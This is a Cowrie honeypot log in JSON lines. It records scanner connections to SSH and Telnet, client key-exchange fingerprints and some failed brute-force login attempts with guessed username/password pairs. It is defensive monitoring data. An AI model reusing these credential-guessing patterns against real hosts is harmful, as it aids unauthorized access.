{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:21:08.434232Z","src_ip":"45.78.207.244","session":"3a3ba6fb6287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:21:08.439848Z","src_ip":"45.78.207.244","session":"3a3ba6fb6287","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.209","src_port":21872,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8fe313ceded","protocol":"ssh","message":"New connection: 216.180.246.209:21872 (159.203.135.109:22) [session: f8fe313ceded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:23:09.997858Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OPENSSH_7.9","message":"Remote SSH version: SSH-2.0-OPENSSH_7.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:23:10.010827Z","src_ip":"216.180.246.209","session":"f8fe313ceded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b21d7cdcc8133dc2b430d1a039fece20","hasshAlgorithms":"diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc,blowfish-cbc,cast128-cbc,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc","aes192-cbc","aes256-cbc","blowfish-cbc","cast128-cbc","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b21d7cdcc8133dc2b430d1a039fece20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:23:10.023343Z","src_ip":"216.180.246.209","session":"f8fe313ceded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b21d7cdcc8133dc2b430d1a039fece20","hasshAlgorithms":"diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc,blowfish-cbc,cast128-cbc,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc","aes192-cbc","aes256-cbc","blowfish-cbc","cast128-cbc","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b21d7cdcc8133dc2b430d1a039fece20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:23:10.040125Z","src_ip":"216.180.246.209","session":"f8fe313ceded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:23:10.044759Z","src_ip":"216.180.246.209","session":"f8fe313ceded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.209","src_port":21872,"dst_ip":"159.203.135.109","dst_port":22,"session":"d5f6a203de19","protocol":"ssh","message":"New connection: 216.180.246.209:21872 (159.203.135.109:22) [session: d5f6a203de19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:11.730061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OPENSSH_7.9","message":"Remote SSH version: SSH-2.0-OPENSSH_7.9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:11.745528Z","src_ip":"216.180.246.209","session":"d5f6a203de19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b21d7cdcc8133dc2b430d1a039fece20","hasshAlgorithms":"diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc,blowfish-cbc,cast128-cbc,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc","aes192-cbc","aes256-cbc","blowfish-cbc","cast128-cbc","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b21d7cdcc8133dc2b430d1a039fece20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:11.759718Z","src_ip":"216.180.246.209","session":"d5f6a203de19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"b21d7cdcc8133dc2b430d1a039fece20","hasshAlgorithms":"diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc,aes192-cbc,aes256-cbc,blowfish-cbc,cast128-cbc,3des-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256"],"keyAlgs":["ssh-rsa","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc","aes192-cbc","aes256-cbc","blowfish-cbc","cast128-cbc","3des-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: b21d7cdcc8133dc2b430d1a039fece20","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:11.773310Z","src_ip":"216.180.246.209","session":"d5f6a203de19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:11.777923Z","src_ip":"216.180.246.209","session":"d5f6a203de19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.30.211","src_port":49968,"dst_ip":"159.203.135.109","dst_port":22,"session":"53a2529d358d","protocol":"ssh","message":"New connection: 159.65.30.211:49968 (159.203.135.109:22) [session: 53a2529d358d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:28.296561Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:28.301252Z","src_ip":"159.65.30.211","session":"53a2529d358d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:28.370634Z","src_ip":"159.65.30.211","session":"53a2529d358d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"desmond","password":"desmond","message":"login attempt [desmond/desmond] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:28.512287Z","src_ip":"159.65.30.211","session":"53a2529d358d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:29.588856Z","src_ip":"159.65.30.211","session":"53a2529d358d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.209","src_port":21872,"dst_ip":"159.203.135.109","dst_port":23,"session":"0a0bd4c2839b","protocol":"telnet","message":"New connection: 216.180.246.209:21872 (159.203.135.109:23) [session: 0a0bd4c2839b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:24:39.261198Z"}
{"eventid":"cowrie.session.closed","duration":32.07820105552673,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:25:11.339281Z","src_ip":"216.180.246.209","session":"0a0bd4c2839b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.209","src_port":21872,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ca52c8a1d21","protocol":"telnet","message":"New connection: 216.180.246.209:21872 (159.203.135.109:23) [session: 4ca52c8a1d21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:25:14.933748Z"}
{"eventid":"cowrie.session.closed","duration":31.9894015789032,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:25:46.923010Z","src_ip":"216.180.246.209","session":"4ca52c8a1d21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.180.246.209","src_port":21872,"dst_ip":"159.203.135.109","dst_port":23,"session":"40e527980a2d","protocol":"telnet","message":"New connection: 216.180.246.209:21872 (159.203.135.109:23) [session: 40e527980a2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:25:48.184515Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.159","src_port":14525,"dst_ip":"10.17.0.5","dst_port":22,"session":"7dc981a7f2a9","protocol":"ssh","message":"New connection: 213.209.159.159:14525 (10.17.0.5:22) [session: 7dc981a7f2a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:27:42.079080Z"}
{"eventid":"cowrie.session.closed","duration":120.00110125541687,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:27:48.185486Z","src_ip":"216.180.246.209","session":"40e527980a2d","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:05.911580Z","src_ip":"213.209.159.159","session":"7dc981a7f2a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:05.991450Z","src_ip":"213.209.159.159","session":"7dc981a7f2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn","message":"login attempt [shaelyn/shaelyn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:06.391227Z","src_ip":"213.209.159.159","session":"7dc981a7f2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn1","message":"login attempt [shaelyn/shaelyn1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:07.478373Z","src_ip":"213.209.159.159","session":"7dc981a7f2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn123","message":"login attempt [shaelyn/shaelyn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:08.562006Z","src_ip":"213.209.159.159","session":"7dc981a7f2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn1234","message":"login attempt [shaelyn/shaelyn1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:09.645509Z","src_ip":"213.209.159.159","session":"7dc981a7f2a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"shaelyn","password":"shaelyn12345","message":"login attempt [shaelyn/shaelyn12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:10.730577Z","src_ip":"213.209.159.159","session":"7dc981a7f2a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"29.7","message":"Connection lost after 29.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:11.815284Z","src_ip":"213.209.159.159","session":"7dc981a7f2a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.176.195.200","src_port":39218,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef32dc06d9af","protocol":"ssh","message":"New connection: 64.176.195.200:39218 (159.203.135.109:22) [session: ef32dc06d9af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:39.273377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:39.277207Z","src_ip":"64.176.195.200","session":"ef32dc06d9af","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57e4cc8ee36c3d78f75c6a05acd55963","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57e4cc8ee36c3d78f75c6a05acd55963","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:39.282030Z","src_ip":"64.176.195.200","session":"ef32dc06d9af","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"taha","password":"taha","message":"login attempt [taha/taha] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:39.293586Z","src_ip":"64.176.195.200","session":"ef32dc06d9af","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:40.300754Z","src_ip":"64.176.195.200","session":"ef32dc06d9af","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.187.200.190","src_port":53794,"dst_ip":"10.17.0.5","dst_port":22,"session":"e74c669e7f8f","protocol":"ssh","message":"New connection: 172.187.200.190:53794 (10.17.0.5:22) [session: e74c669e7f8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:52.478125Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1_DEV","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1_DEV","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T23:28:52.481919Z","src_ip":"172.187.200.190","session":"e74c669e7f8f","protocol":"ssh"}
